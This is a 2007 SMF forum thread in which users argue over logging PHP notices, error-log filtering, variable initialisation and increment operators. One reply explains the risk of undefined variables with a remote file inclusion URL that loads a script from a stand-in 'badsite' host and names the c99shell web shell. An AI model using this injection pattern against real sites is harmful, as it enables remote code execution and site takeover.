Error logging levels

Started by Sarke, January 21, 2007, 05:14:13 AM

Previous topic - Next topic

Sarke

There doesn't seem to be any level to the error logging, just on or off.  Basically, 0 or E_ALL.  I think in any non-dev enviroment at least E_NOTICE should be off. 

I suggest the option for error logging should be "Off", "Normal", or "All" instead of just on or off.  "Normal" would be E_NOTICE turned off, and should be the default IMO.

The reason for this is that having all reporting on will cause more problems than it prevents for the average end-user.  For example, I just included a script in SMF using the custom actions mod and the page loaded with over 5,000 queries, and it doesn't use any database stuff.  The reason was because of "undefined variables" and "undefined index" notices, and I think in a working enviroment perfectly valid PHP code should not cause errors and/or problems.

I realise I can set the script to a different error reporting level but I'm bringing this up because I find that I'm not the first to have this problem on these forums.  The other option of going over the script and declaring variables and checking isset() is not something I'm looking forward to (130 lines of unique "errors").  I also know some people will no doubt reply with the "bad coding" card but the vast majority of SMF users aren't PHP developers or purists.

One of the great things about SMF is it's ease of customisability and E_NOTICE makes this harder for the average admin and hobby-coder.  Even if they don't notice (no pun intended) it, there can be SMF forums that seem perfectly fine but are slowed down because of extra error logging queries (and I don't doubt that there are many SMF forums out there with this problem).


After reading the Error notices and reporting topic I see that SMF favours E_NOTICE, and I do think it's a great thing for development but not when it comes to working enviroments.



I'd like to make another suggestion that's semi-related to this.  I think a useful filter for the "Forum Error Log" would be one that shows unique errors and how many of each, as usually there's only a few lines that cause several errors (sometimes thousands because of looping). It should be easily doable using DISTINCT in the query.

My MODs          Please don't PM me for support, post in the appropriate topic.

Daniel15

#1
QuoteThere doesn't seem to be any level to the error logging, just on or off.  Basically, 0 or E_ALL.  I think in any non-dev enviroment at least E_NOTICE should be off.
SMF's code has no 'bad' code whatsoever, and hence will not produce any notices (by 'bad' code, I mean uses uninitialised variables, etc.). Most noticed are caused by modifications.

QuoteFor example, I just included a script in SMF using the custom actions mod and the page loaded with over 5,000 queries, and it doesn't use any database stuff.  The reason was because of "undefined variables" and "undefined index" notices,.
If it's a problem in the mod, you'll need to ask the mod's author to fix it, then ;)
If it's your own code, then I'd suggest that you fix it ;)

Quoteand I think in a working enviroment perfectly valid PHP code should not cause errors and/or problems
In my opinion, code that outputs any errors (other than errors caused by invalid input) is not valid code. Developers should always do development with their error logging set to E_ALL, and make sure there's no errors. When we approve new mods, we check to make sure that it produces no errors at all.

QuoteThe other option of going over the script and declaring variables and checking isset() is not something I'm looking forward to (130 lines of unique "errors").  I also know some people will no doubt reply with the "bad coding" card but the vast majority of SMF users aren't PHP developers or purists.
isset() should already be used by the developer.

QuoteAfter reading the Error notices and reporting topic I see that SMF favours E_NOTICE, and I do think it's a great thing for development but not when it comes to working enviroments.
If the errors are fixed during development, they won't cause any problems in a working environment

:D
Daniel15, former Customisation team member, resigned due to lack of time. I still love everyone here :D.
Go to smfshop.com for SMFshop support, do NOT email or PM me!

Smurfbutcher Bob

Philosophically, I'd have to agree - errors are bad, *especially* in a production environment. Logs are there to be checked, and errors are to be considered exploitable, unhandled cases... they are indicators that something is NOT behaving as intended, and the impact of that unwanted behavior could be anything from a feature not working, to the box being rooted.

Asking to "mask" such code errors is akin to putting a piece of tape over my car's "check oil" light because it keeps lighting up. Clearly, such an action would be folly on my part, and it doesn't matter how much I don't know about engines.

You need to remember something - the internet is a dangerous place. Bad code only makes it moreso, and "masking" it is flat out irresponsible; once your site is owned, it becomes a staging area for attacks on everyone else. None of us have the right to create that situation. If the codebase is littered with errors, it is a strong indicator that there are probably other, more severe concept flaws in place - if the author couldn't figure out these things, what the heck else did they overlook?  Then add an incompetent operator to the mix, who is incapable of making a proper assessment - The codebase should either be fixed, or taken out of production.

The site operator's incompetence is irrelevant to the end result; the day his host starts attacking mine, he's going to jail.  I do not care if he "understood" what his site was doing or not, any more than we care if a drunk driver "understands" that he just killed someone when he swerved into oncoming traffic. There's an old saying - "The right to swing your fist is terminated where my nose begins." Notice that there is no mention of you understanding what "swing your fist" means, and notice that you will NOT care why your nose just got hit.

Incompetence is not an excuse. It should either be fixed, or taken out of production.  That, or none of us should complain the next time we're slammed by a pile of zombies. Or, killed by a drunk for that matter.

Philosophically speaking, of course.  ;D

Cheers,
- SBB

Sarke

#3
Exactly the responce I was expecting... pretty narrow-minded if you ask me.  That's not intended as an insult, but it's how it looks.  Calling someone incompetent because they choose to code in a different, yet valid, way?

They're also not errors, they're not even warnings, they're notices.  A notice that something might be wrong.  Calling them errors is just misleading.

Dynamic initialisation of variables is an intended featue of PHP, it's not an error; it's valid code.  Notices are a good way of looking for unexpected errors, but like I said most Joe programmers who want to make small changes to their site should be able to do so without being forced to write it your way.

You have to understand that not everyone will share your coding philosophy and I think you should give the end-user the option to set the level of error logging without forcing your view on them.

Like I said in my first post, it's my opinion that in a working enviroment the issue is not to track possible problems (that most likely aren't problems) but to simply work (be robust).  With this excessive error logging, the script doesn't have any errors, but the error logging is causing problems.

There are also many people who don't understand this, but want include something with their site.  If that code, even though it might be well-written, and even well-know and trusted, it won't work with SMF because of this issue.

Please don't sacrifice ease of customisablility, compatibility, and robustness for philosophical ideology.


Smurfbutcher Bob, how is an undefined variable a security risk?

Also, using your car example, notices would be more like the car having a flashing light for every time it hits a pot-hole or a bug flies into the windshield.  The car still works fine, but the flashing light might distract the driver.

My MODs          Please don't PM me for support, post in the appropriate topic.

Daniel15

#4
QuoteDynamic initialisation of variables is an intended featue of PHP, it's not an error; it's valid code.
Yeah, but this is different. The error is doing something like:

echo 'Hello, here\'s a test:' . $test;

or:

// Add one to $test
$test++;

Without defining $test,or something like:

echo $context['i_like_pie'];

Without defining the variable used (in this case, the i_like_pie array element).
Dynamic initialisation is something completely different:

$test = 'Pie';
echo 'Hello, I like ' . $test;

We give $test a value, but we didn't define it previously. In other languages, you need to define the variable before using it. Visual Basic doesn't force you to do this, but it's always a good practise:

Dim strTest As String
strTest = "Pie"
MsgBox "I like " & strTest

The Dim statement is basically creating/allocating the variable, before we give it a value.

Quotebut to simply work (be robust).
Code with errors is not robust!

QuoteIf that code, even though it might be well-written
Well written code does not cause any errors, in any way, shape or form. The only error are caused  by improper input.

QuoteSmurfbutcher Bob, how is an undefined variable a security risk?
Undefined variables + register_globals is very insecure. What about:

require($includes_dir . '/database.php');

What if you don't define $includes_dir? Someone could access the page like index.php?includes_dir=http://badsite/evilscript.txt?, and before you know it, something like c99shell has been installed into your hosting space.
This was the cause of the recent Mambo exploits! At one stage, there was a mass hack of 200,000 websites! For a web host I work for, mod_security (combined with Suhosin PHP hardening patch) is catching at least 50 exploit attempts daily, all because of code like this.

Daniel15, former Customisation team member, resigned due to lack of time. I still love everyone here :D.
Go to smfshop.com for SMFshop support, do NOT email or PM me!

Sarke

The errors you describe are errors because of the way the code is written, not becuase the variables weren't initialised.  I am well aware of the register_globals security issue, but that should be off by default.  There's potential security issues with undefined variables, but there are potential security issues with everything.  Undefined variables aren't insecure by nature.  Still, when it comes to authentication purposes and such of course you should take more care in writting the code, but you can do this with notices turned off as well (and not every code deals with security sensitive code).

And again, a notice is not an error.  It's basically just a heads-up that you might have missed something.

Look, I'm all for writting code that is notice free (easier to read, slightly faster, less-unexpected errors), but saying that notice-free code is the only proper code is just personal opinion.  To me it's like saying all proper code must have comments.  Sure it's a good thing, but it's not required to make the code run properly and be valid, working PHP code.


In a working enviroment this doesn't matter.  Anyone who writes code that is notice-free would know how to turn notice on, and the average Joe who writes error-free but maybe not notice-free code can be overwhelmed by this.

I should also note that I'm not arguing this for my sake, but for the average Joe Programmer.  And I'm not disputing the benefits of writing notice-free code (infact I agree with it).  In a perfect world notices should be always on and all code is written by experiences programmers.  But we don't live in a perfect world.

Basically, IMHO, those who want to have notice turned on and get any use from it know how to do so (even easier if there was an SMF option for it), while for those who don't care (or don't know) it won't do any good, it can only cause problems.  There's a reason notices are turned off by default.

I've seen some SMF forums with queries in the hundreds because of ntoices being logged to the DB.  You could also argue because SMF isn't as robust to handle people customising their own forums, it can get a reputation of being slow.





P.S.  Either way, I think there should be a "unique error" filter for the error log (like mentioned in my first post).

My MODs          Please don't PM me for support, post in the appropriate topic.

Visualcode

I agree that there are some problems with the error log. For example, it gets easily flooded, when an "error" occurs. I say "error" because they are not always errors. For example, incorrect passwords. This is not an error, at least, not a board error.

One reason I would like levels is so I can block some of the stuff like that, which I am not so worried about. However, what I would like even more, is expandable sections. For example, all errors related to lost passwords could be grouped and collapsed. And the same could go for everything. This way, admins could look for things they want to see rather than sorting through PAGES and PAGES of non-important data...

JayBachatero

Sarke you bring up good points but the way that I see it is that if a user gets a weird error in their error log they usually come here and search for it or we help them debug it and get it working correctly.  So I prefer to have users come and ask support for their custom "not-notice-free" code than having notices off and go on like nothing is wrong.
Follow me on Twitter

"HELP!!! I've fallen and I can't get up"
This moment has been brought to you by LifeAlert

Sarke

#8
Quote from: JayBachatero on January 21, 2007, 10:55:22 PM
Sarke you bring up good points but the way that I see it is that if a user gets a weird error in their error log they usually come here and search for it or we help them debug it and get it working correctly.

How many admins check their error logs regularly? 

Say someone writes a small function without initialising a boolean value and while-loops it until it's set to true.  In a 5 line function this is no problem, and you include that in a SMF page and everything seems fine.  Now lets say on some pages this function is called several times, and this will cause a slowdown and bloating just because of the logging.  It would go unnoticed unless the admin looks down and sees something like "with 347 queries" and then either goes "WTF?!" or he simply ignores it because everything seems fine.  It's only a problem because of the logging.


Quote from: JayBachatero on January 21, 2007, 10:55:22 PM
I prefer to have users come and ask support for their custom "not-notice-free" code than having notices off and go on like nothing is wrong.

But most of the time nothing is wrong!  Things can work fine and the ONLY problem is the slowdown caused by the error loging (correction: notice logging).  Error logging should prevent errors, not cause problem when there aren't any errors.

My MODs          Please don't PM me for support, post in the appropriate topic.

Smurfbutcher Bob

Again, philosophically - and please, understand that this is a passionate topic for me. I read your post as saying "Joe" has the authority to write whatever trash he wishes, and should be held harmless for the result. In fact, this lack of accountability should be fostered - the internet is the ideal place for a novice to cut his teeth.  If I'm mistaken, then absolutely disregard the following drivel. If I'm correct, then please consider the following - but in no way, shape, or form should you take the following as offensive - to the contrary, I'd not have typed it if your opinion didn't matter.

Quote from: Sarke on January 21, 2007, 10:35:44 PM
The errors you describe are errors because of the way the code is written, not becuase the variables weren't initialised
Uninitted vars are a bad practice in every dogma and pragma ever written. Q.v. Booch, K&R... and not initting vars is the way the code is written. It's flawed.

QuoteThere's potential security issues with undefined variables, but there are potential security issues with everything.  Undefined variables aren't insecure by nature.

"Anything not explicitly forbidden is mandatory."

When we cannot predict the behavior of a branch or operation, we lose the predictability of the code path. At that point, the state machine is non-deterministic. Game over. Couple this with having multiple code paths to the affected statement... it's a trainwreck, every time. And remember that we're dealing with Joe, the least qualified guy out there.

QuoteAnd again, a notice is not an error.  It's basically just a heads-up that you might have missed something.
Might? I'd suggest the programmer "Did".

Quotebut saying that notice-free code is the only proper code is just personal opinion.
"Personal" defined as every professional out here, also defined by every real language on the planet used by competent programmers (not the "Joe Coder" in the example). If the competent minds of the world all agree that a var should be initialized prior to use (most languages won't even compile if we fail to do so), being a kludge writer makes it acceptable? Hardly. None of these "real" languages *need* to force an initialization, but they do. And there's a very big reason for it.

It's the same reason that strcopy() is deprecated in c++... it wasn't a matter of personal opinion; its behavior was just too conducive to bad practice (re: pointers and overflows). A large part of the exploits out there are a direct result of attackers capitalizing on such naiveties, and the 'net is littered with the corpses of people making such bad assumptions ("I didn't need to explicitly init that", or "I don't need to bounds check!"). And let us remember that "Joe Coder", kludging his way through PHP, presents the ideal attack surface for an exploiter. He is the least qualified to judge anything.  (Looking at some of the mods out there, I often wish my hat was black.)  For point of interest, q.v. the rather lengthy discussion on Bugtraq re: "Can PHP be made secure".  The final consensus - the language is fine; it's the coders that suck.  So, "No."

QuoteIn a working enviroment this doesn't matter.
In a working environment of no merit, you mean. I hardly think such an opinion would be applied if our nuke launchers suffered such practices, or the flight control system on the next jumbo jet we fly on, or a bank website, for that matter. There are best practices, and there are worst practices. You're unwittingly encouraging two of the worst - (1) Don't explicitly init an FSA, and (2) ignore errors - both in a hostile environment. Best practices evolved after a big pile of hard lessons. Claiming we can skip them "because Joe is a kludge"...  I'd challenge that Joe needs to follow them more than anyone, *because* he is a kludge. The problems these best practices are meant to avoid are systemic in nature, and they are neither trivial nor immediately obvious. And that Joe doesn't comprehend these problems... is *exactly* why he needs to follow these practices.

QuoteI should also note that I'm not arguing this for my sake... But we don't live in a perfect world.
Facilitating incompetence is NOT a step toward that perfection. Perfection is achieved by having both authority and accountability - and you're effectively suggesting the removal of the only accountability out there (aside from Joe being arrested and sued after his site is used as an attack platform).

To suggest that a kludge writer should have no accountability for bad code and worst-practice, and not even suffer "notice messages" because of it... maybe if we were using something like LOGO, but not something as horrid as PHP. The potential for injections and traversals is just too high... and that's assuming we ignore the SQL vectors, which Joe Coder won't have a clue about (but will certainly be exposing in many cases). Remember, we're dealing with two languages (PHP and SQL) where data and code are freely interchangeable. While I understand the reason for your plea - I do not see how facilitating incompetence in such an environment would be helping anybody... well, except for Joe. The rest of us are screwed when his code gets exploited, however... and then he's screwed when I come after him. IMO, it is better to nag him into fixing the problem before it is exploited... and that means those of us in the world who are competent should encourage him to follow the same best practice we do, for the same reason we do.

The impact of naivety is not an opinion; CodeRed, Nimda, and Slammer taught us that we WILL suffer the fruit of such incompetence. That is the problem I think you overlook, and why I am so utterly opposed to the concept of facilitating it.

Thanks for paging all the way through this, Sarke. You'd probably never guess that I've survived the trauma of having a Windows farm of NTS4 boxes, would ya  ;D 

Sarke

I'm sorry, but I think you're missing my point altogether.  I'm not trying to start of philosophical discussion of the pros and cons of using E_NOTICE.  I understand that you're passionate about this Bob, and I undersatand what you want but I'm talking about the real-world.  It's like the Canadian Gun Registry (to use an example); philosophically and in theory it's a good idea to have all guns registered, but in practise it doesn't work because criminals don't register their guns.  All it does is make the average Joe Hunter fill out paperwork and pay a registration fee.  (And no, I don't own a gun and I'm not Canadian.)


Let's use your jumbo jet example.  Should the plane fall out of the sky and refuse to work properly if something unexpected happens?  No, it should keep flying as long as it can, even if there are errors.  In the maintenance hangar by God yes don't let it take-off if everything isn't 100% but once it's in the air it should be able to handle as many errors as possible.  That's what I mean by a working enviroment; it should work.

Like I said, if it's not intended to work this way then PHP would have E_NOTICE on by default.  But it doesn't.  If we really wanted to eliminate errors then PHP should have a scipt ending fatal error on every single error, warning, notice, etc.  And SMF should do the same, why not let Joe Coder know straight away that he made a mistake by breaking his forum because he $i++;'ed before he $i=0;'ed.


How about a coding example:

function return_one()
{
$i++;
return $i;
}

Is this not valid code?  Never mind that there are other ways of doing it, but it's a simple example.  Does this not work?  Are there unexpected results?  Is it insecure?

Remember that the basic use of PHP is to display dynamic pages, and most pages are written as that.  They don't authenticate and they don't use a database.  Maybe it's just a simple page that tells the time?  If Joe Coder wants to include this in SMF he should be able to without it slowing down his forum and using excessive server resources.  Who knows, he might not even notice, and then get kicked of the server because of it (as is often the case with shared server plans).

As far as preventing bad coding practises, it doesn't.  Like I said, those people who check the error log, write security related code, and know about E_NOTICE already are the ones who code notice-free anyway, while Joe Coder won't know the difference.

Hell there's not even a small heads-up at the bottom of the page saying that "errors" have been logged.  Pretty hypocritical to hide errors and still have the forum work while saying that "bad" (maybe that should be "not great") code should be eliminated and it's use not be supported by SMF. 

Let's review.  Why doesn't SMF display errors on the page and logs it quietly instead?  Because it wants it to work, and be error tolerant.  Aha!  So it's made that way, just like having notices (and all error) reporting turned off.  So why should the error logging cause problems?  Saying "there shouldn't be errors in the first place" goes completely against the view of hiding errors in the first place.


So again, please, can we have leveled error logging?  Is the option to not log notices so evil?  I would also suggest turning Maintenance Mode into a development mode, where all the page errors, warnings, AND notices are displayed at the bottom of the page.  In regular mode, however, there shouldn't be the slowdown and mass querying that there is now.  Maybe even optimise the error logging to use fewer queries?  I have some ideas on how to do that if you're all interested.

My MODs          Please don't PM me for support, post in the appropriate topic.

JayBachatero

Sarke how about this?  People are not born knowing a language.  So lets say that I want to make a function that increases the counter for each image in a dir.  In order for this to happen the user must go online and read.  So if the users sees bad coding practices he will do the same since he doesn't know any better.  So he can go for ages having his website returning notices.  Since he is not logging these errors he won't know that what he is doing is wrong and that these errors even exists.  So by leaving the NOTICEs it allows he/she to become a better programmer.  So I don't think hiding the errors will do any good.
Follow me on Twitter

"HELP!!! I've fallen and I can't get up"
This moment has been brought to you by LifeAlert

Sarke

#12
But you're already hiding the notices (and all other errors).  They only show up in the log, and what I'm saying is that not everyone checks the logs. 

If you don't want to hide notices, fine, you're all intent on changing the coding habits of the world.  I didn't realise that was the SMF project's mission, but don't you think this is up to PHP to dictate, and not SMF?  Like I said, if you're all so intent on eliminating errors then stop the forum script at the first error, warning, notice, whatever unexpected.

To me this sounds like ideological political drivel.  You keep replying with the same "notices are errors and therefore bad".  I disagree, but if you feel that strongly about it then there's nothing I can do.  So forget about notices all together, let's call them all errors from now on.  We should probably also petition PHP to remove their leveled error reporting, since all errors are the same and bad.  I wonder why PHP went with level error reporting in the first place...  :-\


It still leaves the question: why have an error handler in the first place, since error should NEVER EVER happen? 

Why is SMF hiding the errors?

Why isn't there a notice saying that errors have been logged?  Maybe send an email to the admin?

Are you content with how inefficient the error logging is?


What your current code is saying, and what you're telling me is opposites.

My MODs          Please don't PM me for support, post in the appropriate topic.

Daniel15

#13
QuoteAre you content with how inefficient the error logging is?
The error log system is the only real way of doing this. Ideally, errors will not be shown to the end user, but only to the admins. There's no real easy way to do this other than have an error log. Another thing is that if errors occur only for normal users (and not admins), you'll probably never find out about it.

QuoteSo forget about notices all together, let's call them all errors from now on.
As far as I know, PHP refers to notices, warnings, errors as well as all the other levels as errors.

QuoteWe should probably also petition PHP to remove their leveled error reporting, since all errors are the same and bad.
PHP 5 has exceptions and Try-Catch blocks (much like Visual Basic .NET, C# or Java), which in my opinion is a lot better than the current error system ;)

QuoteWhy is SMF hiding the errors?
There is an option to show errors on the page, used mainly by mod developers. At the bottom of Settings.php, add:

$db_show_debug = true;


QuoteWhy isn't there a notice saying that errors have been logged?
Something I just came up with:
In index.php, find:

// Load the current user's permissions.
loadPermissions();

Add after:

// How many errors do we have?
global $db_prefix, $context;
$result = db_query("
SELECT COUNT(*) AS count
FROM {$db_prefix}log_errors", __FILE__, __LINE__);
list ($context['error_count']) = mysql_fetch_row($result);
mysql_free_result($result);


Themes/default/languages/Modifications.english.php, find:

?>

Add before:

$txt['error_log_there'] = 'There';
$txt['error_log_is'] = 'is';
$txt['error_log_are'] = 'are';
$txt['error_log_currently'] = 'currently';
$txt['error_log_count_one'] = 'error';
$txt['error_log_count_many'] = 'errors';
$txt['error_log_inlog'] = 'in the <a href="?action=viewErrorLog;desc">error log</a>';


Themes/[theme name]/index.template.php, find:

echo '
<a href="', $scripturl, '?action=unread">', $txt['unread_since_visit'], '</a> <br />
<a href="', $scripturl, '?action=unreadreplies">', $txt['show_unread_replies'], '</a><br />';

Add after:

// If they're an admin (and there's some errors in the error log), show them how many errors we have
if ($context['user']['is_admin'] && isset($context['error_count']) && $context['error_count'] > 0)
echo '
<b>', $txt['error_log_there'], ' ', ($context['error_count'] == 1 ? $txt['error_log_is'] : $txt['error_log_are']), ' ', $context['error_count'], ' ', ($context['error_count'] == 1 ? $txt['error_log_count_one'] : $txt['error_log_count_many']), ' ', $txt['error_log_inlog'], '</b><br />';


This will show a 'There is 1 error in the error log' or  'There are 123 errors in the error log'  message at the top of the page, if you're an admin :)
Daniel15, former Customisation team member, resigned due to lack of time. I still love everyone here :D.
Go to smfshop.com for SMFshop support, do NOT email or PM me!

Sarke

#14
Thank you Daniel15, that reply is the first productive one.  Either don't cripple Joe Coder's forum, or let him know straight up that there are errors.

To add to that, what about setting $db_show_debug to true automatically in Maintenance Mode (like I suggested above)?  I would like that, at least an option for it.  I think these things should be in the by default (because Joe Coder doesn't know about $db_show_debug).

As for the error logging, I have a few ideas (like I mentioned).

The first would be an option to email admin an error summary if there are errors. Maybe have the option to email as soon as an error is logged (obviously with a limit to avoid flooding), or a daily summary.

Secondly, the error logging efficiency.
Quote from: Daniel15 on January 22, 2007, 09:57:27 PM
The error log system is the only real way of doing this. Ideally, errors will not be shown to the end user, but only to the admins. There's no real easy way to do this other than have an error log. Another thing is that if errors occur only for normal users (and not admins), you'll probably never find out about it.

Of course you still need error logging, I'm just saying it's not efficient.  I played around with the code and it is not hard to make it save the errors in an array and for each error it wouldn't add a new index but increment the same error (same error num, line, and file) by one.  At the end of the script, saves these errors (one query per index) with the addition of the number of errors.  So each type of error (same error num, line, and file) would have a query each.  This would drastically reduce query flooding due to error logging, and it wouldn't slow the script execution down so much (also due to query flooding) as the number of unique errors aren't nearly as many.

Another option I'd like to see with this is an error logging flood limit.  So you could set it to only log a maximum of 100 errors per page, for example.

Thirdly, the error log filter I mention.  Make it easier to find unique errors in the code, so there's no need to wade through hundreds (in some cases) of pages with many of the same errors.


I think these additions (and the one you mentioned Daniel15), would help reduce the "oh it's too much hassle, I'll just go with phpBB" syndrome.



P.S. as for the code you mentioned, I would suggest just adding $context['error_count']++; to the error handler instead, as it wouldn't require a query to count the errors.  And obviously, we'd make sure it was initialised first. ;)

EDIT: I just realised your code is showing the total amount of errors in the log, not just the errors on the page.  I think an option for both would be beneficial.

My MODs          Please don't PM me for support, post in the appropriate topic.

Rudolf

Quote from: Sarke on January 23, 2007, 03:41:49 AM
Thirdly, the error log filter I mention.  Make it easier to find unique errors in the code, so there's no need to wade through hundreds (in some cases) of pages with many of the same errors.

You can already filter logs in the error log. The fact that you don't see it, doesn't means that it's not there.

All the things you are asking are small things, really, tweaks to the error handling system. If you ask me I don't care about them. I don't care to see how many errors happened on the page, because I  check my forum's error logs once in a while.
The system that is now is enough for a fast and effective error handing both in a position of an administrator and mod developer. I don't need more.

As a last word about optimization. Usually you focus your optimization work on parts of the code that are executed most times, then the ones that are executed the less.
Take the classical example, if you have a piece of code:

<?php
for ($i=0;$i<100;$i++)
{
  
doSomething1();
  for (
$j=0;$j<1000;$j++)
  {
     
doSomething2();
     for (
$k=0;$k<10000;$k++)
     {
        
doSomething3();
     }
   }
}
?>

In this extreme case it's easy to see that the function you should focus on *has* to be doSomething3, and not doSomething1. doSomething3() is executed 1.000.000.000 times!!! while doSomething1() only 100 times.

Normally SMF's the error handling function is called 0 times during a page load. How many seconds you would gain if you optimize it's execution times even by 10 second? 0 * 10 = 0 seconds.
If it has to be called then normally not those 0.01 seonds interest me that takes to report the error, but the error itself. So those extra few cycles are well spent and need.
If you want to spend time on this, go ahead, but I'd like to see the developers focusing on actual features of the forum.
I rest my case.
I will update all my mods in the next few weeks. Thanks for your patience.

SVG-Collapse (you need an SVG compliant browser)

tggrcutiepie

#16
Just my topic,,,as admin and owner of site. I always check logs,,now more than ever cause my main tech isn't around,,,I have been at the help desk constantly,,I am one of these admins ...lol..that knows nothing, zippo, about codes and all this stuff.. I am getting errors all of a sudden out the wazoo in the log,,while it does not show on the board, I still do not want them,,every mod and theme I install most have errors,,this all can't be from the creator, maybe? IDK,,,all i know is I ,we, need help bad. I have a shoutbox, had to take out, arcade won't load games..and on and on....I hate to keep bugging the help desk , I feel like a idiot but honestly I can create the board topics, all that stuff break it up etc...but when it comes to any kind of modification for codes forget it. I can't even get the dam flashchat in right and just paid for it and stuff it comes with...so help if ur out there. 
:-[ :(

EDIT: Changed font size.

Sarke

#17
Quote from: Rudolf on January 23, 2007, 11:31:30 AM
You can already filter logs in the error log. The fact that you don't see it, doesn't means that it's not there.

Is there a unique error filter?


Quote from: Rudolf on January 23, 2007, 11:31:30 AM
All the things you are asking are small things, really, tweaks to the error handling system. If you ask me I don't care about them. I don't care to see how many errors happened on the page, because I  check my forum's error logs once in a while.
The system that is now is enough for a fast and effective error handing both in a position of an administrator and mod developer. I don't need more.

If you don't need more then good for you.  I don't need more either, but more would be helpful and Joe Coder probably needs more.  There's nothing wrong with making SMF better just because how it is now is "good enough".


Quote from: Rudolf on January 23, 2007, 11:31:30 AM
Normally SMF's the error handling function is called 0 times during a page load. How many seconds you would gain if you optimize it's execution times even by 10 second? 0 * 10 = 0 seconds.
If it has to be called then normally not those 0.01 seonds interest me that takes to report the error, but the error itself. So those extra few cycles are well spent and need.
If you want to spend time on this, go ahead, but I'd like to see the developers focusing on actual features of the forum.
I rest my case.

In the example I gave, with 5,000 errors on a page (a real-world scenario), the script took almost 5 seconds to execute, and there were over 5,000 queries.  This is a problem.  If this goes unnoticed then the performence of the forum and server could be seriously crippled.  So we're not talking about 0.01 seconds, but 4+ seconds (in this case, could be worse).

My MODs          Please don't PM me for support, post in the appropriate topic.

JayBachatero

Quote from: Sarke on January 23, 2007, 07:52:41 PM
Quote from: Rudolf on January 23, 2007, 11:31:30 AM
You can already filter logs in the error log. The fact that you don't see it, doesn't means that it's not there.

Is there a unique error filter?
In DE there is.  Separated by the type of error it is.
Follow me on Twitter

"HELP!!! I've fallen and I can't get up"
This moment has been brought to you by LifeAlert

Rudolf

Quote from: JayBachatero on January 23, 2007, 07:57:20 PM
In DE there is.  Separated by the type of error it is.

The filters are there since 1.0, only that in DE they are improved and categorised.
That said, one can use filters in the 1.0 and 1.1 lines too. Sarke, until the next version of SMF you can use the small lenses, they let you to see similar errors.

There's nothing wrong in improving something, just that as I said I don't think that error logging is that much important. Nice but I'd give low priority.
I will update all my mods in the next few weeks. Thanks for your patience.

SVG-Collapse (you need an SVG compliant browser)

Sarke

Quote from: Rudolf on January 24, 2007, 03:27:11 AM
The filters are there since 1.0, only that in DE they are improved and categorised.
That said, one can use filters in the 1.0 and 1.1 lines too. Sarke, until the next version of SMF you can use the small lenses, they let you to see similar errors.

That's the opposite of what I am suggesting (and Visualcode as well).  I don't need to see the same error several times, but it would be nice to be able to see each unique error once each.


Getting back to my original suggestion of leveled error reporting, I have another real world scenario.  I just installed TinyPortal with the Dilber MC theme, and wouldn't you know it, there are notice errors.  Yup, undefined variable and undefined index.  So, what I would like to do is stop those errors from being logged because my current options are:

1. Not to use TP and Dilber MC (not a good option)
2. Turn off error logging all together (I still want to be informed of other errors, so not good)
3. Ignore the errors and let them keep getting logged (winner by default I guess...)

Is giving people options so evil?

My MODs          Please don't PM me for support, post in the appropriate topic.

Dannii

There's a fourth option, fix the errors ;)
"Never imagine yourself not to be otherwise than what it might appear to others that what you were or might have been was not otherwise than what you had been would have appeared to them to be otherwise."

Sarke

Yeah, well most people don't sit down and fix other peoples code, and most people don't know how.  A fifth option would be to steal nuclear weapons and hold the world hostage until all coding errors are eliminated.  My point is that that's not a very realistic option for most people.

My MODs          Please don't PM me for support, post in the appropriate topic.

Visualcode

I still think categorizing the errors would be best. Not only for Sarke, but for those of us who do know what we are doing, as well. If we had categories, or some sort of nice sort, where we could easily get to what we want, it would really clean up the mess. I sort through tons of incorrect password things just to find what I want...

Assistance

Quote from: Visualcode on January 24, 2007, 08:22:29 AM

I still think categorizing the errors would be best. .............................., or some sort of nice sort, where we could easily get to what we want, it would really clean up the mess. I sort through tons of incorrect password things just to find what I want...

great idea, why dont they do that? or they do
why hasnt someone said that? oh they have.... twice in one page, oh wait three ....4? FIVE
Quote from: Rudolf on January 23, 2007, 11:31:30 AM
Quote from: Sarke on January 23, 2007, 03:41:49 AM

Thirdly, the error log filter I mention.  Make it easier to find unique errors in the code, so there's no need to wade through hundreds (in some cases) of pages with many of the same errors.

You can already filter logs in the error log. The fact that you don't see it, doesn't means that it's not there.


thats just 2 in 1 post and the bold quoted text is a classic

sorry if i come off rude or I just simply misread this page of this thread (clicks preview)
~playing poker~

Visualcode

Assistance, you most definitely come off rude, did you read Sarke's post?
Quote from: Sarke
That's the opposite of what I am suggesting (and Visualcode as well).  I don't need to see the same error several times, but it would be nice to be able to see each unique error once each....

Also, if after reading their posts, I am still suggesting that I am not satisfied, why would you quote them? That is great that it is there, despite the fact I can't see it. But come on now, if I can't find it, and Sarke can't find it, then it probably is pretty hard to find for others too. What good is a feature that is invisible? Do I need to press and hold control while I press C,D,E,4,9, and B for the feature to show?

Also, I agree with Sarke about the whole "personal opinion." I do NOT think initalizing variables is the most important thing in the world. Initializing before use, yes, initializing upon creation, not so much. Also, as long as we are speaking about "bad practice," I would suggest that everyone use (in normal practice):

++$i
NOT
$i++

Daniel15

QuoteAlso, I agree with Sarke about the whole "personal opinion." I do NOT think initalizing variables is the most important thing in the world. Initializing before use, yes, initializing upon creation, not so much.
As far as I can tell, Sarke was talking about initialising before use.

Quote
Also, as long as we are speaking about "bad practice," I would suggest that everyone use (in normal practice):

++$i
NOT
$i++

What's the difference between them?
Daniel15, former Customisation team member, resigned due to lack of time. I still love everyone here :D.
Go to smfshop.com for SMFshop support, do NOT email or PM me!

Rudolf

The difference is that the first increments the $i before it's value is used, the second after.
I don't see how using the first should be a best practice, because there are times when you need one and others when you need the other.
Both of them will throw an error if you don't have $i declared.
I will update all my mods in the next few weeks. Thanks for your patience.

SVG-Collapse (you need an SVG compliant browser)

Visualcode

Rudolf, Daniel, the difference is how they work, in practice. If you increment a variable AFTER (post-increment) you return the previous value. This requires more work in the background. If you do the increment first, it doesn't need to worry about the previous value. It can simply increment, and work on the new value. Think of it as a function:

function PostIncrement()
{
    $SomeVar = Self
    ++Self;
    return $SomeVar;
}

As you can see, this includes a pre-increment in it, to do a post-increment. So, using this method is a waste, if you are not requiring the previous value of the variable.

Pre-increment on the other hand...

function PreIncrement()
{
   Self = Self+1;
   return Self;
}


While this may not seem like a big deal, in practice it is best to use the proper case. This is a very small performance and memory issue. But, when you get into C++ and classes, the increments can become very costly, due to the added functionality to the increment functions.

Rudolf

I am sorry, but your explanation makes no sense.
I mean you talk about efficiency and then you write a function like:

function PreIncrement()
{
   Self = Self+1;
   return Self;
}


Why you don't do simply:

function PreIncrement()
{
   return ++Self;
}


The pre-increment and post-increment is not a performance issue, but a functionality issue. There are times when you have to increment your value before doing something with it and times when you have to increment after.

